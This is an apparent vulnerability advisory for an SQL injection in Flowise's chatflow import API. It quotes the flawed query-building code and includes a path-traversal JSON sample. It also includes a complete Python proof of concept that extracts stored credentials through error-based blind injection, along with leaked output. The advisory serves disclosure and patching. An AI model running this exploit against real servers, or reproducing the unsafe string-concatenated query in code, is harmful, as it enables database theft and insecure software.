CVE-2025-71332: FlowiseDB vulnerable to SQL Injection by authenticated users
Summary import functions are vulnerable. importChatflows importTools importVariables
Details Authenticated user can call importChatflows API, import json file such as AllChatflows.json. but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.
Issue 1 (Bug Type) 1. Malicious user creates AllChatflows.json file by adding ../ and arbitrary path to the chatflow.id of the json file. json { "Chatflows": [ { "id": "../../../../../../apikey", "name": "clickme", "flowData": "{}" } ] } 2. Victim download this file, and import this to flowise. 3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.
Issue 2 (Vulnerability Type) importChatflows API use unsafe SQL Query.
javascript // packages/server/src/services/chatflows/index.ts const importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => { try { const appServer = getRunningExpressApp()
// step 1 - check whether file chatflows array is zero if (newChatflows.length == 0) return
// step 2 - check whether ids are duplicate in database let ids = '(' let count: number = 0 const lastCount = newChatflows.length - 1 newChatflows.forEach((newChatflow) => { ids += '${newChatflow.id}' // <===== user input if (lastCount != count) ids += ',' if (lastCount == count) ids += ')' count += 1 })
const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow) .createQueryBuilder('cf') .select('cf.id') .where(cf.id IN ${ids}) // <===== here .getMany() const foundIds = selectResponse.map((response) => { return response.id }) It changes like SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}') by the code above. When ') {Malicious SQL Query} -- is passed to newChatflow.id, SQL Injection occurs.
PoC python import argparse import requests
def importchatflows( url: str, token: str, payload: dict ): response = requests.post( f'{url}/api/v1/chatflows/importchatflows', headers={ 'Authorization': f'Bearer {token}' # 'Authorization': f'Basic {token}' }, json=payload )
return response.json()
def importnormaldata( apiurl: str, token: str, normaldata: str ): dataid = 'aaaaaa'
payload = { "Chatflows": [ { "id": dataid, "name": normaldata, "flowData": "{}" } ] }
importchatflows( url=apiurl, token=token, payload=payload ) return dataid
def getcharacter( apiurl: str, token: str, dataid: str, columnname: str, index: int ): injectionquery = f'(SELECT ascii(substr({columnname},{index},1)) FROM credential limit 0,1)'
def createpayload( c: int ): return f"{dataid}') and if (({injectionquery})<{c}, 0, 9e300 9e300); -- "
chatflowsjson = { "Chatflows": [ { "id": "", "name": dataid, "flowData": "{}" } ] }
bitbox = [ 64, 32, 16, 8, 4, 2, 1 ] character = 0 for bit in bitbox: payload = createpayload(c=character + bit) chatflowsjson['Chatflows'][0]['id'] = payload
res = importchatflows( url=apiurl, token=token, payload=chatflowsjson ) if 'DOUBLE value is out of range' in res['message']: # character is more then bit character += bit else: # character is less then bit character += 0
return chr(character)
def getlength( apiurl: str, token: str, dataid: str, columnname: str ): injectionquery = f'(SELECT length({columnname}) FROM credential limit 0,1)'
def createpayload( c: int ): return f"{dataid}') and if (({injectionquery})<{c}, 0, 9e300 9e300); -- "
chatflowsjson = { "Chatflows": [ { "id": "", "name": dataid, "flowData": "{}" } ] }
columnlen = 0 bitbox = [ 256, 128, 64, 32, 16, 8, 4, 2, 1 ] for bit in bitbox: payload = createpayload(c=columnlen + bit) chatflowsjson['Chatflows'][0]['id'] = payload
res = importchatflows( url=apiurl, token=token, payload=chatflowsjson ) if 'DOUBLE value is out of range' in res['message']: # columnlen is more then bit columnlen += bit else: # columnlen is less then bit columnlen += 0
return columnlen
def main( url: str, token: str ): apiurl = url
columnbox = [ 'credentialName', 'encryptedData' ]
dataid = importnormaldata( apiurl=apiurl, token=token, normaldata='flow01' )
for columnname in columnbox: columnlen = getlength( apiurl=apiurl, token=token, dataid=dataid, columnname=columnname )
print(f'[+] {columnname} length is {columnlen}')
result = '' for i in range(columnlen): result += getcharacter( apiurl=apiurl, token=token, dataid=dataid, columnname=columnname, index=i + 1 )
print(f'[+] {columnname}: {result}')
if name == 'main': parser = argparse.ArgumentParser() parser.addargument( '--url', type=str, default='http://flowise:3000' ) parser.addargument( '--access', type=str, required=True, help='Get from http://flowise:3000/apikey' )
margs = parser.parseargs()
main( url=margs.url, token=margs.access )
poc results: encryptedData from flowise database credential table was successfully leaked. /app # python ex2.py --url http://flowise:3000 --access "blahblah~~~" [+] credentialName length is 9 [+] credentialName: openAIApi [+] encryptedData length is 88 [+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==
It is recommended to limit all chatflow ids & chat ids to UUID.
Impact Database leak Lateral Movement
Other sources
Flowise through 2.2.7 contains a SQL injection vulnerability in the importChatflows API. Due to insufficient validation of the chatflow.id value, an authenticated user can supply a crafted JSON import file whose id field is concatenated unsanitized into a SQL IN clause, allowing arbitrary SQL to be executed, including blind and error-based extraction of data from the credential table.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2025-71332?
CVE-2025-71332 has a medium severity rating of 6.5.
How do I fix CVE-2025-71332?
To fix CVE-2025-71332, update Flowise to version 2.2.8 or later, which addresses the SQL injection vulnerability.
What type of vulnerability is CVE-2025-71332?
CVE-2025-71332 is a SQL injection vulnerability affecting the importChatflows API.
Who is affected by CVE-2025-71332?
Authenticated users of the Flowise application can exploit the vulnerability in versions prior to 2.2.8.
What can attackers do with CVE-2025-71332?
Attackers can execute arbitrary SQL commands through a crafted JSON import file, compromising the database.